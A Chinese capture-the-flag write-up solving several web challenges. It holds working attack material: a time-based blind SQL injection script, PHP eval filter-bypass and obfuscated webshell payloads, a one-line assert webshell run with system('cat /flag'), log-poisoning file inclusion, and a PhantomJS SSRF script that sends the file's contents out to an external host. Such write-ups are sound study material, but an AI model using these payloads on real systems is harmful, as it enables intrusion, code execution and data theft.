Y1ng的题好评~~
WEB_Login_Only_For_36D
是个注入题。F12给出了sql语句
<!-- if (!preg_match('/admin/', $uname)) die; -->
<!-- select * from 36d_user where username='$uname' and password='$passwd'; -->
fuzz一下。过滤了' " || 空格 select等
一般。过滤了单双引号。就考虑用斜杠转义第一个单引号。然后进行注入
sql如下
select * from 36d_user where username='admin\' and password='or 1#'
过滤了select。貌似就不能通过information库去查出表名啥的。
就regexp注入。。但是。试了下
select * from 36d_user where username='admin\' and password='or/**/1#'
#返回还是password错误????。那么不能构造布尔盲注
select * from 36d_user where username='admin\' and password='or/**/if(1,sleep(5),0)#'
#成功延时了5秒。我们可以通过regexp。返回值。然后时间盲注值
select * from 36d_user where username='admin\' and password='or/**/if(1,sleep(llength(password)),0)#'
#延时了15秒。所以password字段长度为15
select * from 36d_user where username='admin\' and password='or/**/if((left(password,1)/**/regexp/**/binary/**/0x49),sleep(10),1)#"
#password第一位为0x49。regexp的16进制是不区分大小写的。记得带上binary
依次跑出密码
import requests
import time
url='https://9ae21dbb-74b0-499e-b345-ca611e176e10.chall.ctf.show/'
l='iILOVE1abcdefghjkmnlopqrstuvwxyzABCDFGHIJKMNPQRSTUWXYZ234567890'
data2='0x'
for b in range(1,1000):
for a in l:
data={"username":"admin\\",
"password":"or/**/if((left(password,"+str(b)+")/**/regexp/**/binary/**/"+data2+str(hex(ord(a))).replace('0x','')+"),sleep(10),1)#"
}
#print(data)
t1=time.time()
requests.post(url=url,data=data)
t2=time.time()
if t2-t1>10:
print(a)
data2+=str(hex(ord(a))).replace('0x','')
break
print(data)
WEB_给你shell
F12
?view_source得到源码
<?php
function checkCookie($s) {
$arr = explode(':', $s);
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}
function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
$_h_p = strtoupper($_m_u);
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
$_i = ord($_i);
print_r($_i & 0xC0);
}
die;
}
isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');
if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}
die;
首先从cookie中取出secret(JSON格式)。带入checkCookie
checkCookie函数。貌似就是检查JSON格式的。。没啥关系
继续get一个give_me_shell
我们提交的secret中的secret键对应的值!=$flag_md5
(!=弱类型比较)就调用havaFunc函数。否则就输出shell地址。也就是说。我们输入的secret要等于$flag_md5
分析下调试。就可以知道。字符统一是返回64。数字返回0
flag的md5经过函数处理后是000开头。刚好存在弱类型
得到下一关地址
看下源码。输入code。然后带入eval执行
eval("\$_SESSION[" . $code . "]=false;");
fuzz下。过滤了$;^f/*&)
等
没$()反引号
执行不了函数。没;
不能执行多个PHP代码。只能通过?><?=xxx?>
来利用
文件包含require函数没禁用。并且~
也没禁。但是禁用了空格。我们fuzz下。什么字符能在require和文件中间
构造payload
]=1?><?=require@~%D0%99%93%9E%98?>
得到Flag
WEB_RemoteImageDownloader
一看就像是个SSRF
VPS监听下。得到。
Google一下找到PhantomJS的SSRF任意文件读取
https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
服务器上部署1.html
<html>
<script src="http://xxx.com/test.js"></script>
</html>
test.js
function reqListener () {
var encoded = encodeURI(this.responseText);
var b64 = btoa(this.responseText);
var raw = this.responseText;
document.write('<iframe src="http://xxx.com/exfil?data='+b64+'"></iframe>');
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///flag");
oReq.send();
base64解码得到Flag
WEB_ALL_INFO_U_WANT
index.php.bak得到源码
if (isset($_GET['file'])) {
$file = "/var/www/html/" . $_GET['file'];
//really baby include
include($file);
}
直接包含/var/log/nginx/access.log
还有一种解法包含本身。
xxx.com/xxx.php?all_info_i_want=&file=xxxx.php
同时对这个URL进行文件上传。然后就会死循环。导致临时文件保留。
包含getshell
FLAG貌似在/etc/opt/下。。。我也忘了
WEB_WUSTCTF_朴实无华_Revenge
第一层队内ha1c9on大佬直接用0-01-0
绕过了。。他的回答是。随手一猜就出来了
tqltql😂
预期解是1000000000000000.00000000000000010
通过php的精度问题。比较相等
第二层。MD5一直跑。得到0e1138100474
import hashlib
for i in range(0,10**33):
i = str(i)
num = '0e' + i
md5 = hashlib.md5(num.encode()).hexdigest()
md52 = hashlib.md5(md5.encode()).hexdigest()
if md52[0:2] == '0e' and md52[2:].isdigit():
print('success str:{} md5(str):{}'.format(num, md5))
break
第三层。
第一次:ca\t</flag
或者%09
第二次:nl</flag
或者od/xxd
WEB_你取吧
别说了。出题人跪求原谅。这个题。过滤太少了。之过滤了a-z。。一时没想到P神有个$_的无数字webshell。直接打穿
预期解
通过访问$_数组中的键值。用.拼接。最后${}构成$hint
得到phpjiami.zip和hint.php
phpjiami.zip是hint.php的加密源码。
网上有免费解密的脚本。最后得到一句话
<?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4];
@$c($_POST[7-1]);
?>
POST
6=system('cat /flag');
即可
一个题收获了好多姿势。大佬们tql
($_ = '@@@@'|'().4') == 1?1:$$_
通过位移运算符。任何左侧的字符|'@'==右侧的字符
通过三元运算符。括号内返回hint字符串。然后!=1。就会执行$$_==$hint
还能通过括号和${}配合。动态调用
($_1=$_{2}.$_{7}.$_{17}).($__=$_1(99).$_1(97).$_1(116).$_1(32).$_1(47).$_1(102).$_1(108).$_1(97).$_1(103)).($_2=$_1(115).$_1(121).$_1(115).$_1(116).$_1(101).$_1(109)).($_2($__))
通过{}取数组中的值。得到$_1=chr
$__=chr(99).chr(97).....
得到system
$_2=chr(xxxx)
得到cat /flag
最后动态执行$_2($__)
==system('cat /flag')
这里有个知识点。用()来代替分号
($=phpinfo).($a())
不需要分号。即可执行phpinfo()